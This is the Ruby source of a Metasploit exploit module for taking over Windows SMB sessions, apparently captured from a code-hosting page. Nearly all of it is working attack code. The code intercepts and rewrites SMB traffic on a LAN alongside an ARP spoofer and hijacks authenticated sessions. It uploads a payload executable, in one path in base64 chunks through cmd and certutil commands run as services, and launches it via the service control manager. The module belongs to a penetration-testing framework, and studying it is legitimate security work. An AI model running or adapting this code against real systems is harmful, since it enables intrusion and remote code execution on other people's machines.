634 lines
27 KiB
Ruby
634 lines
27 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ManualRanking
|
|
|
|
include Msf::Exploit::Remote::Capture
|
|
include Msf::Exploit::EXE
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Microsoft Windows SMB Direct Session Takeover',
|
|
'Description' => %q{
|
|
This module will intercept direct SMB authentication requests to
|
|
another host, gaining access to an authenticated SMB session if
|
|
successful. If the connecting user is an administrator and network
|
|
logins are allowed to the target machine, this module will execute an
|
|
arbitrary payload. To exploit this, the target system must try to
|
|
autheticate to another host on the local area network.
|
|
|
|
SMB Direct Session takeover is a combination of previous attacks.
|
|
|
|
This module is dependent on an external ARP spoofer. The builtin ARP
|
|
spoofer was not providing sufficient host discovery. Bettercap v1.6.2
|
|
was used during the development of this module.
|
|
|
|
The original SMB relay attack was first reported by Sir Dystic on March
|
|
31st, 2001 at @lanta.con in Atlanta, Georgia.
|
|
},
|
|
'Author' => [
|
|
'usiegl00'
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Privileged' => true,
|
|
'Payload' => {},
|
|
'References' => [
|
|
['URL', 'https://strontium.io/blog/introducing-windows-10-smb-shadow-attack']
|
|
],
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Platform' => 'win',
|
|
'Targets' => [
|
|
['Automatic', {}]
|
|
],
|
|
'DisclosureDate' => '2021-02-16',
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Stability' => [ SERVICE_RESOURCE_LOSS ],
|
|
'Reliability' => [ UNRELIABLE_SESSION ],
|
|
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('SHARE', [true, 'The share to connect to', 'ADMIN$']),
|
|
OptString.new('INTERFACE', [true, 'The name of the interface']),
|
|
OptString.new('DefangedMode', [true, 'Run in defanged mode', true]),
|
|
OptString.new('DisableFwd', [true, 'Disable packet forwarding on port 445', true]),
|
|
OptBool.new('ConfirmServerDialect', [true, 'Confirm the server supports an SMB2 dialect.'])
|
|
# For future cross LAN work:
|
|
# OptString.new('GATEWAY', [ true, "The network gateway ip address" ])
|
|
]
|
|
)
|
|
|
|
deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE', 'RHOST', 'SECRET', 'GATEWAY_PROBE_HOST', 'GATEWAY_PROBE_PORT',
|
|
'TIMEOUT')
|
|
end
|
|
|
|
def exploit
|
|
@cleanup_mutex = Mutex.new
|
|
@cleanedup = true
|
|
if datastore['DefangedMode'].to_s == 'true'
|
|
warning = <<~EOF
|
|
|
|
Are you SURE you want to modify your port forwarding tables?
|
|
You MAY contaminate your current network configuration.
|
|
|
|
Disable the DefangedMode option if you wish to proceed.
|
|
EOF
|
|
fail_with(Failure::BadConfig, warning)
|
|
end
|
|
print_good('INFO : Warming up...')
|
|
print_error('WARNING : Not running as Root. This can cause socket permission issues.') unless Process.uid == 0
|
|
@sessions = []
|
|
@sessions_mutex = Mutex.new
|
|
@drop_packet_ip_port_map = {}
|
|
@drop_packet_ip_port_mutex = Mutex.new
|
|
@negotiated_dialect_map = {}
|
|
@negotiated_dialect_mutex = Mutex.new
|
|
@confirm_server_dialect = datastore['ConfirmServerDialect'] || false
|
|
@arp_cache = {}
|
|
@arp_mutex = Mutex.new
|
|
@main_threads = []
|
|
@interface = datastore['INTERFACE'] # || Pcap.lookupdev
|
|
unless Socket.getifaddrs.map(&:name).include? @interface
|
|
fail_with(Failure::BadConfig,
|
|
"Interface not found: #{@interface}")
|
|
end
|
|
@ip4 = ipv4_addresses[@interface]&.first
|
|
fail_with(Failure::BadConfig, "Interface does not have address: #{@interface}") unless @ip4&.count('.') == 3
|
|
@mac = get_mac(@interface)
|
|
fail_with(Failure::BadConfig, "Interface does not have mac: #{@interface}") unless @mac && @mac.instance_of?(String)
|
|
# For future cross LAN work: (Gateway is required.)
|
|
# @gateip4 = datastore['GATEWAY']
|
|
# fail_with(Failure::BadConfig, "Invalid Gateway ip address: #{@gateip4}") unless @gateip4&.count(".") == 3
|
|
# @gatemac = arp(tpa: @gateip4)
|
|
# fail_with(Failure::BadConfig, "Unable to retrieve Gateway mac address: #{@gateip4}") unless @gatemac && @gatemac.class == String
|
|
@share = datastore['SHARE']
|
|
print_status("Self: #{@ip4} | #{@mac}")
|
|
# print_status("Gateway: #{@gateip4} | #{@gatemac}")
|
|
disable_p445_fwrd
|
|
@cleanedup = false
|
|
start_syn_capture
|
|
start_ack_capture
|
|
start_rst_capture
|
|
print_status('INFO : This module must be run alongside an arp spoofer / poisoner.')
|
|
print_status('INFO : The arp spoofer used during the testing of this module is bettercap v1.6.2.')
|
|
main_capture
|
|
ensure
|
|
cleanup
|
|
end
|
|
|
|
# This prevents the TCP SYN on port 445 from passing through the filter.
|
|
# This allows us to have the time to modify the packets before forwarding them.
|
|
def disable_p445_fwrd
|
|
if datastore['DisableFwd'] == 'false'
|
|
print_status('DisableFwd was set to false.')
|
|
print_status('Packet forwarding on port 445 will not be disabled.')
|
|
return true
|
|
end
|
|
if RUBY_PLATFORM.include?('darwin')
|
|
pfctl = Rex::FileUtils.find_full_path('pfctl')
|
|
unless pfctl
|
|
fail_with(Failure::NotFound, 'The pfctl executable could not be found.')
|
|
end
|
|
IO.popen("#{pfctl} -a \"com.apple/shadow\" -f -", 'r+', err: '/dev/null') do |pf|
|
|
pf.write("block out on #{@interface} proto tcp from any to any port 445\n")
|
|
pf.close_write
|
|
end
|
|
IO.popen("#{pfctl} -e", err: '/dev/null').close
|
|
elsif RUBY_PLATFORM.include?('linux')
|
|
iptables = Rex::FileUtils.find_full_path('iptables')
|
|
unless iptables
|
|
fail_with(Failure::NotFound, 'The iptables executable could not be found.')
|
|
end
|
|
IO.popen("#{iptables} -A FORWARD -i #{@interface} -p tcp --destination-port 445 -j DROP", err: '/dev/null').close
|
|
else
|
|
print_error("WARNING : Platform not supported: #{RUBY_PLATFORM}")
|
|
print_error('WARNING : Packet forwarding on port 445 must be blocked manually.')
|
|
fail_with(Failure::BadConfig, 'Set DisableFwd to false after blocking port 445 manually.')
|
|
end
|
|
print_good('INFO : Packet forwarding on port 445 disabled.')
|
|
return true
|
|
end
|
|
|
|
# This reverts the changes made in disable_p445_fwrd
|
|
def reset_p445_fwrd
|
|
if datastore['DisableFwd'] == 'false'
|
|
print_status('DisableFwd was set to false.')
|
|
print_status('Packet forwarding on port 445 will not be reset.')
|
|
return true
|
|
end
|
|
if RUBY_PLATFORM.include?('darwin')
|
|
pfctl = Rex::FileUtils.find_full_path('pfctl')
|
|
unless pfctl
|
|
fail_with(Failure::NotFound, 'The pfctl executable could not be found.')
|
|
end
|
|
IO.popen("#{pfctl} -a \"com.apple/shadow\" -F rules", err: '/dev/null').close
|
|
elsif RUBY_PLATFORM.include?('linux')
|
|
iptables = Rex::FileUtils.find_full_path('iptables')
|
|
unless iptables
|
|
fail_with(Failure::NotFound, 'The iptables executable could not be found.')
|
|
end
|
|
IO.popen("#{iptables} -D FORWARD -i #{@interface} -p tcp --destination-port 445 -j DROP", err: '/dev/null').close
|
|
end
|
|
print_good('INFO : Packet forwarding on port 445 reset.')
|
|
return true
|
|
end
|
|
|
|
# This starts the SYN capture thread as part of step two.
|
|
def start_syn_capture
|
|
@syn_capture_thread = Rex::ThreadFactory.spawn('SynCaptureThread', false) do
|
|
c = PacketFu::Capture.new(iface: @interface, promisc: true)
|
|
c.capture
|
|
c.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) != 0 and tcp[tcpflags] & (tcp-ack) == 0")
|
|
c.stream.each_data do |data|
|
|
packet = PacketFu::Packet.parse(data)
|
|
next if @drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s]
|
|
|
|
packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)
|
|
packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr))
|
|
packet.to_w(@interface)
|
|
end
|
|
end
|
|
end
|
|
|
|
# This starts the ACK capture thread as part of step two.
|
|
def start_ack_capture
|
|
@ack_capture_thread = Rex::ThreadFactory.spawn('AckCaptureThread', false) do
|
|
c = PacketFu::Capture.new(iface: @interface, promisc: true)
|
|
c.capture
|
|
c.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) == 0 and tcp[tcpflags] & (tcp-ack) != 0 and tcp[((tcp[12] >> 4) * 4) + 4 : 4] != 0xfe534d42")
|
|
c.stream.each_data do |data|
|
|
packet = PacketFu::Packet.parse(data)
|
|
next if @drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s]
|
|
|
|
packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)
|
|
packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr))
|
|
packet.to_w(@interface)
|
|
end
|
|
end
|
|
end
|
|
|
|
# This starts the ACK capture thread as part of step two.
|
|
def start_rst_capture
|
|
@rst_capture_thread = Rex::ThreadFactory.spawn('RstCaptureThread', false) do
|
|
c = PacketFu::Capture.new(iface: @interface, promisc: true)
|
|
c.capture
|
|
c.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) == 0 and tcp[tcpflags] & (tcp-rst) != 0")
|
|
c.stream.each_data do |data|
|
|
packet = PacketFu::Packet.parse(data)
|
|
next if @drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s]
|
|
|
|
packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)
|
|
packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr))
|
|
packet.to_w(@interface)
|
|
end
|
|
end
|
|
end
|
|
|
|
# This returns a mac string by querying the arp cache by an ip address.
|
|
# If the address is not in the cache, it uses an arp query.
|
|
def getarp(ip4)
|
|
unless @arp_cache[ip4]
|
|
mac = arp(tpa: ip4)
|
|
@arp_mutex.synchronize { @arp_cache[ip4] = mac } unless mac == []
|
|
end
|
|
return @arp_cache[ip4]
|
|
end
|
|
|
|
# This sends an arp packet out to the network and captures the response.
|
|
# This allows us to resolve mac addresses in real time.
|
|
# We need the mac address of the server and client.
|
|
def arp(smac: @mac, dmac: 'ff:ff:ff:ff:ff:ff',
|
|
sha: @mac, spa: @ip4,
|
|
tha: '00:00:00:00:00:00', tpa: '', op: 1,
|
|
capture: true)
|
|
p = PacketFu::ARPPacket.new(
|
|
eth_src: Rex::Socket.eth_aton(smac),
|
|
eth_dst: Rex::Socket.eth_aton(dmac),
|
|
arp_src_mac: Rex::Socket.eth_aton(sha),
|
|
arp_src_ip: Rex::Socket.addr_aton(spa),
|
|
arp_dst_mac: Rex::Socket.eth_aton(tha),
|
|
arp_dst_ip: Rex::Socket.addr_aton(tpa),
|
|
arp_opcode: op
|
|
)
|
|
if capture
|
|
c = PacketFu::Capture.new(iface: @interface)
|
|
c.capture
|
|
c.stream.setfilter("arp src #{tpa} and ether dst #{smac}")
|
|
p.to_w(@interface)
|
|
sleep 0.5
|
|
c.save
|
|
c.array.each do |pkt|
|
|
pkt = PacketFu::Packet.parse pkt
|
|
# This decodes the arp packet and returns the query response.
|
|
if pkt.arp_header.arp_src_ip == Rex::Socket.addr_aton(tpa)
|
|
return Rex::Socket.eth_ntoa(pkt.arp_header.arp_src_mac)
|
|
end
|
|
return Rex::Socket.addr_ntoa(pkt.arp_header.arp_src_ip) if Rex::Socket.eth_ntoa(pkt.arp_header.src_mac) == tha
|
|
end
|
|
else
|
|
p.to_w(@interface)
|
|
end
|
|
end
|
|
|
|
# This returns a hash of local interfaces and their ip addresses.
|
|
def ipv4_addresses
|
|
results = {}
|
|
Socket.getifaddrs.each do |iface|
|
|
if iface.addr.ipv4?
|
|
results[iface.name] = [] unless results[iface.name]
|
|
results[iface.name] << iface.addr.ip_address
|
|
end
|
|
end
|
|
results
|
|
end
|
|
|
|
=begin For future cross LAN work: (Gateway is required.)
|
|
def ipv4_gateways
|
|
results = {}
|
|
Socket.getifaddrs.each do |iface|
|
|
if iface.addr.ipv4? & iface.netmask&.ipv4?
|
|
results[iface.name] = [] unless results[iface.name]
|
|
results[iface.name] << IPAddr.new(
|
|
IPAddr.new(iface.addr.ip_address).mask(iface.netmask.ip_address).to_i + 1,
|
|
IPAddr.new(iface.addr.ip_address).family
|
|
).to_string
|
|
end
|
|
end
|
|
results
|
|
end
|
|
=end
|
|
|
|
# This is the main capture thread that handles all SMB packets routed through this module.
|
|
def main_capture
|
|
# This makes sense in the context of the paper.
|
|
# Please read: https://strontium.io/blog/introducing-windows-10-smb-shadow-attack
|
|
mc = PacketFu::Capture.new(iface: @interface, promisc: true)
|
|
mc.capture
|
|
mc.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) == 0 and tcp[tcpflags] & (tcp-ack) != 0 and tcp[((tcp[12] >> 4) * 4) + 4 : 4] = 0xfe534d42")
|
|
mc.stream.each_data do |data|
|
|
packet = PacketFu::Packet.parse(data)
|
|
nss = packet.payload[0..3]
|
|
smb2 = packet.payload[4..]
|
|
# Only Parse Packets from known sessions
|
|
if (smb2[0..4] != "\xFFSMB") && !@sessions.include?(packet.ip_header.ip_daddr) && !@drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s]
|
|
case smb2[11..12]
|
|
when "\x00\x00" # Negotiate Protocol Request
|
|
smb_packet = RubySMB::SMB2::Packet::NegotiateRequest.read(smb2)
|
|
# Dialect Count Set To 1
|
|
dialect = smb_packet.dialects.first
|
|
# TODO: We could negotiate different dialects between the server and client, but it would require a more interactive approach.
|
|
unless smb_packet.dialects.min >= 0x300
|
|
begin
|
|
if @negotiated_dialect_map[packet.tcp_header.tcp_src]
|
|
dialect = @negotiated_dialect_map[packet.tcp_header.tcp_src]
|
|
elsif @confirm_server_dialect
|
|
Timeout.timeout(2.75) do
|
|
rport = packet.tcp_header.tcp_src - rand(42..83)
|
|
@drop_packet_ip_port_mutex.synchronize do
|
|
@drop_packet_ip_port_map[packet.ip_header.ip_saddr + rport.to_s] = true
|
|
end
|
|
dispatcher = Msf::Exploit::SMB::ShadowMitmDispatcher.new(
|
|
interface: @interface,
|
|
mac: @mac,
|
|
eth_src: Rex::Socket.eth_aton(@mac),
|
|
eth_dst: Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr)),
|
|
ip_src: Rex::Socket.addr_iton(packet.ip_header.ip_src),
|
|
ip_dst: Rex::Socket.addr_iton(packet.ip_header.ip_dst),
|
|
tcp_src: rport,
|
|
tcp_dst: packet.tcp_header.tcp_dst,
|
|
tcp_seq: rand(14540253..3736845241),
|
|
tcp_ack: 0,
|
|
tcp_win: packet.tcp_header.tcp_win
|
|
)
|
|
dispatcher.send_packet(
|
|
'',
|
|
nbss_header: false,
|
|
tcp_flags: { syn: 1 },
|
|
tcp_opts: PacketFu::TcpOptions.new.encode("MSS:#{Msf::Exploit::SMB::ShadowMitmDispatcher::TCP_MSS}").to_s
|
|
)
|
|
dispatcher.recv_packet
|
|
dispatcher.send_packet(
|
|
'',
|
|
nbss_header: false,
|
|
tcp_flags: { ack: 1 }
|
|
)
|
|
client = RubySMB::Client.new(dispatcher, smb1: true, smb2: true, smb3: false, username: '', password: '')
|
|
client.negotiate
|
|
dialect = client.dialect.to_i(16)
|
|
# pp dialect
|
|
@drop_packet_ip_port_mutex.synchronize do
|
|
@drop_packet_ip_port_map[packet.ip_header.ip_saddr + rport.to_s] = false
|
|
end
|
|
@negotiated_dialect_mutex.synchronize do
|
|
@negotiated_dialect_map[packet.tcp_header.tcp_src] = dialect
|
|
end
|
|
end
|
|
# Check if the server supports any SMB2 dialects
|
|
else
|
|
# We just assume the server supports the client's minimum dialect.
|
|
dialect = smb_packet.dialects.min
|
|
@negotiated_dialect_mutex.synchronize do
|
|
@negotiated_dialect_map[packet.tcp_header.tcp_src] = dialect
|
|
end
|
|
end
|
|
unless dialect >= 0x300
|
|
original_size = smb_packet.to_binary_s.size
|
|
smb_packet.dialects = [dialect]
|
|
smb_packet.negotiate_context_list = []
|
|
smb_packet.client_start_time = 0
|
|
# Re-Calculate Length: (Optional...)
|
|
# nss = [smb_packet.to_binary_s.size].pack("N")
|
|
# Add more dialects while keeping the dialect count at one to pad out the message.
|
|
((original_size - smb_packet.to_binary_s.size) / 2).times { |_i| smb_packet.dialects << dialect }
|
|
smb_packet.dialect_count = 1
|
|
packet.payload = "#{nss}#{smb_packet.to_binary_s}"
|
|
packet.recalc
|
|
end
|
|
rescue Timeout::Error, Errno::ECONNREFUSED, RubySMB::Error::CommunicationError, RubySMB::Error::NegotiationFailure => e
|
|
# We were unable to connect to the server or we were unable to negotiate any SMB2 dialects
|
|
print_status("Confirm Server Dialect Error: #{e}")
|
|
end
|
|
end
|
|
when "\x00\x01" # Session Setup Request, NTLMSSP_AUTH
|
|
smb_packet = RubySMB::SMB2::Packet::SessionSetupRequest.read(smb2)
|
|
if (smb_packet.smb2_header.session_id != 0) && (@negotiated_dialect_map[packet.tcp_header.tcp_src] && @negotiated_dialect_map[packet.tcp_header.tcp_src] < 0x300)
|
|
# Disable Session
|
|
@drop_packet_ip_port_mutex.synchronize do
|
|
@drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s] = true
|
|
end
|
|
# Start Main Thread
|
|
@main_threads << Rex::ThreadFactory.spawn("MainThread#{packet.tcp_header.tcp_src}", false) do
|
|
main_thread(packet: packet, dialect: @negotiated_dialect_map[packet.tcp_header.tcp_src], dstmac: getarp(packet.ip_header.ip_daddr))
|
|
end
|
|
end
|
|
when "\x00\x03" # Tree Connect Request
|
|
smb_packet = RubySMB::SMB2::Packet::TreeConnectRequest.read(smb2)
|
|
# We assume that if we didn't intercept the SessionSetupRequest, the client must be using SMBv3.
|
|
# SMBv3 requires signing on all TreeConnectRequests.
|
|
# As we do not have access to the client's session key, we must perform the attack without connecting to a different tree.
|
|
# The only tree that we are able to do this with is the IPC$ tree, as it has control over the svcctl service controller.
|
|
if smb_packet.path.include?('\\IPC$'.encode('UTF-16LE')) && (@negotiated_dialect_map[packet.tcp_header.tcp_src].nil? || @negotiated_dialect_map[packet.tcp_header.tcp_src] >= 0x300)
|
|
# Disable Session
|
|
@drop_packet_ip_port_mutex.synchronize do
|
|
@drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s] = true
|
|
end
|
|
# Start Main Thread
|
|
@main_threads << Rex::ThreadFactory.spawn("MainThread#{packet.tcp_header.tcp_src}", false) do
|
|
# At this point, any SMBv3 version will do in order to conduct the attack.
|
|
# Their minor protocol differences should not be relevant in this situation.
|
|
# I just assumed that 0x300 is the least secure, which should be the right one to choose.
|
|
main_thread(packet: packet, dialect: 0x300, dstmac: getarp(packet.ip_header.ip_daddr))
|
|
end
|
|
end
|
|
end
|
|
end
|
|
next if @drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s]
|
|
|
|
packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)
|
|
packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr))
|
|
# packet.recalc
|
|
packet.to_w(@interface)
|
|
end
|
|
end
|
|
|
|
# This handles a session that has already authenticated to the server.
|
|
# This allows us to offload the session from the main capture thead.
|
|
def main_thread(packet:, dialect:, dstmac:)
|
|
dispatcher = Msf::Exploit::SMB::ShadowMitmDispatcher.new(
|
|
interface: @interface,
|
|
mac: @mac,
|
|
eth_src: Rex::Socket.eth_aton(@mac),
|
|
eth_dst: Rex::Socket.eth_aton(dstmac),
|
|
ip_src: Rex::Socket.addr_iton(packet.ip_header.ip_src),
|
|
ip_dst: Rex::Socket.addr_iton(packet.ip_header.ip_dst),
|
|
tcp_src: packet.tcp_header.tcp_src,
|
|
tcp_dst: packet.tcp_header.tcp_dst,
|
|
tcp_seq: packet.tcp_header.tcp_seq,
|
|
tcp_ack: packet.tcp_header.tcp_ack,
|
|
tcp_win: packet.tcp_header.tcp_win
|
|
)
|
|
dispatcher.send_packet(packet.payload, nbss_header: false)
|
|
data = dispatcher.recv_packet
|
|
if dialect >= 0x300
|
|
smb_packet = RubySMB::SMB2::Packet::TreeConnectResponse.read(data)
|
|
else
|
|
smb_packet = RubySMB::SMB2::Packet::SessionSetupResponse.read(data)
|
|
end
|
|
|
|
address = packet.ip_header.ip_daddr
|
|
|
|
smb1 = dialect / 0x100 == 1
|
|
smb2 = dialect / 0x100 == 2
|
|
smb3 = dialect / 0x100 == 3
|
|
client = RubySMB::Client.new(dispatcher, smb1: smb1, smb2: smb2, smb3: smb3, always_encrypt: false, username: '', password: '')
|
|
|
|
client.dialect = dialect
|
|
client.session_id = smb_packet.smb2_header.session_id
|
|
client.smb2_message_id = smb_packet.smb2_header.message_id + 1
|
|
client.negotiated_smb_version = dialect
|
|
|
|
# SMB3 requires signing on the TreeConnectRequest
|
|
# We are unable to sign the request, as we do not have the session key.
|
|
# This means that we have to stay on the same tree during the entire attack.
|
|
# We can perform the entire attack from the IPC$ tree, at the cost of reduced speed.
|
|
# Using this separated delivery technique, we can conduct the attack without disconnecting from the tree.
|
|
if dialect >= 0x300
|
|
tree = RubySMB::SMB2::Tree.new(client: client, share: "\\\\#{address}\\IPC$", response: smb_packet, encrypt: false)
|
|
|
|
print_status('Connecting to the Service Control Manager...')
|
|
svcctl = tree.open_file(filename: 'svcctl', write: true, read: true)
|
|
svcctl.bind(endpoint: RubySMB::Dcerpc::Svcctl)
|
|
scm_handle = svcctl.open_sc_manager_w(address)
|
|
print_status('Regenerating the payload...')
|
|
|
|
filename = rand_text_alpha(8) + '.exe'
|
|
servicename = rand_text_alpha(8)
|
|
opts = { servicename: servicename }
|
|
exe = generate_payload_exe_service(opts)
|
|
print_status('Uploading payload...')
|
|
mindex = [exe].pack('m0').bytes.each_slice(1024).to_a.size
|
|
[exe].pack('m0').bytes.each_slice(1024).to_a.each_with_index do |part, index|
|
|
partfile = "%SYSTEMROOT%\\#{rand_text_alpha(8)}"
|
|
print_status("Uploading payload: #{index + 1}/#{mindex}")
|
|
launch_service(
|
|
svcctl: svcctl,
|
|
scm_handle: scm_handle,
|
|
service: "%COMSPEC% /c echo #{part.pack('C*')} > #{partfile}.b64 & certutil -decodehex #{partfile}.b64 #{partfile} 0x400000001 & type #{partfile} #{(index == 0) ? '>' : '>>'} %SYSTEMROOT%\\#{filename} & del #{partfile} #{partfile}.b64",
|
|
log: false
|
|
)
|
|
end
|
|
sleep 3
|
|
print_status("Created \\#{filename}...")
|
|
else
|
|
print_status('Connecting to the defined share...')
|
|
path = "\\\\#{address}\\#{@share}"
|
|
tree = client.tree_connect(path)
|
|
|
|
print_status('Regenerating the payload...')
|
|
filename = rand_text_alpha(8) + '.exe'
|
|
servicename = rand_text_alpha(8)
|
|
opts = { servicename: servicename }
|
|
exe = generate_payload_exe_service(opts)
|
|
|
|
print_status('Uploading payload...')
|
|
file = tree.open_file(filename: filename, write: true, disposition: RubySMB::Dispositions::FILE_SUPERSEDE)
|
|
# The MITM dispatcher supports tcp packet fragmentation.
|
|
file.write(data: exe)
|
|
|
|
print_status("Created \\#{filename}...")
|
|
file.close
|
|
tree.disconnect!
|
|
|
|
print_status('Connecting to the Service Control Manager...')
|
|
ipc_path = "\\\\#{address}\\IPC$"
|
|
tree = client.tree_connect(ipc_path)
|
|
svcctl = tree.open_file(filename: 'svcctl', write: true, read: true)
|
|
svcctl.bind(endpoint: RubySMB::Dcerpc::Svcctl)
|
|
scm_handle = svcctl.open_sc_manager_w(address)
|
|
end
|
|
|
|
launch_service(
|
|
svcctl: svcctl,
|
|
scm_handle: scm_handle,
|
|
service: "%SYSTEMROOT%\\#{filename}"
|
|
)
|
|
|
|
@sessions_mutex.synchronize { @sessions << address }
|
|
sleep 0.5
|
|
|
|
# Due to our inability to sign TreeConnectRequests when using SMBv3, we must stay on the same tree.
|
|
# The IPC$ tree has access to the svcctl service launcher.
|
|
# We can delete the file by scheduling a command as a service to do so.
|
|
if dialect >= 0x300
|
|
print_status("Deleting \\#{filename}...")
|
|
launch_service(
|
|
svcctl: svcctl,
|
|
scm_handle: scm_handle,
|
|
service: "%COMSPEC% /c del %SYSTEMROOT%\\#{filename}",
|
|
log: false
|
|
)
|
|
|
|
print_status('Closing service handle...')
|
|
svcctl.close_service_handle(scm_handle)
|
|
else
|
|
print_status('Closing service handle...')
|
|
svcctl.close_service_handle(scm_handle)
|
|
tree.disconnect!
|
|
|
|
print_status("Deleting \\#{filename}...")
|
|
tree = client.tree_connect(path)
|
|
file = tree.open_file(filename: filename, delete: true)
|
|
file.delete
|
|
end
|
|
|
|
=begin
|
|
# Prevent STATUS_USER_SESSION_DELETED
|
|
#sleep 42 <- We must use traffic to prevent the server from closing the connection
|
|
20.times do
|
|
sleep 2
|
|
begin
|
|
tree.open_file(filename: '.', read: false)
|
|
rescue RubySMB::Error::UnexpectedStatusCode
|
|
# Expected STATUS_ACCESS_DENIED
|
|
end
|
|
end
|
|
=end
|
|
|
|
tree.disconnect!
|
|
|
|
client.disconnect!
|
|
return true # Done.
|
|
end
|
|
|
|
# Launch a svcctl service by creating, starting, and then deleting it
|
|
def launch_service(svcctl:, scm_handle:, service:, log: true)
|
|
service_name = rand_text_alpha(8)
|
|
display_name = rand_text_alpha(rand(8..32))
|
|
|
|
print_status('Creating a new service...') if log
|
|
svc_handle = svcctl.create_service_w(scm_handle, service_name, display_name, service)
|
|
|
|
print_status('Closing service handle...') if log
|
|
svcctl.close_service_handle(svc_handle)
|
|
svc_handle = svcctl.open_service_w(scm_handle, service_name)
|
|
|
|
print_status('Starting the service...') if log
|
|
begin
|
|
svcctl.start_service_w(svc_handle)
|
|
rescue RubySMB::Dcerpc::Error::SvcctlError
|
|
# StartServiceW returns an error on success.
|
|
end
|
|
|
|
sleep 0.1
|
|
|
|
print_status('Removing the service...') if log
|
|
svcctl.delete_service(svc_handle)
|
|
return true
|
|
end
|
|
|
|
# This cleans up and exits all the active threads.
|
|
def cleanup
|
|
@cleanup_mutex.synchronize do
|
|
unless @cleanedup
|
|
print_status 'Cleaning Up...'
|
|
@syn_capture_thread.exit if @syn_capture_thread
|
|
@ack_capture_thread.exit if @ack_capture_thread
|
|
@rst_capture_thread.exit if @rst_capture_thread
|
|
@main_threads.map(&:exit) if @main_threads
|
|
reset_p445_fwrd
|
|
@cleanedup = true
|
|
print_status 'Cleaned Up.'
|
|
end
|
|
end
|
|
end
|
|
end
|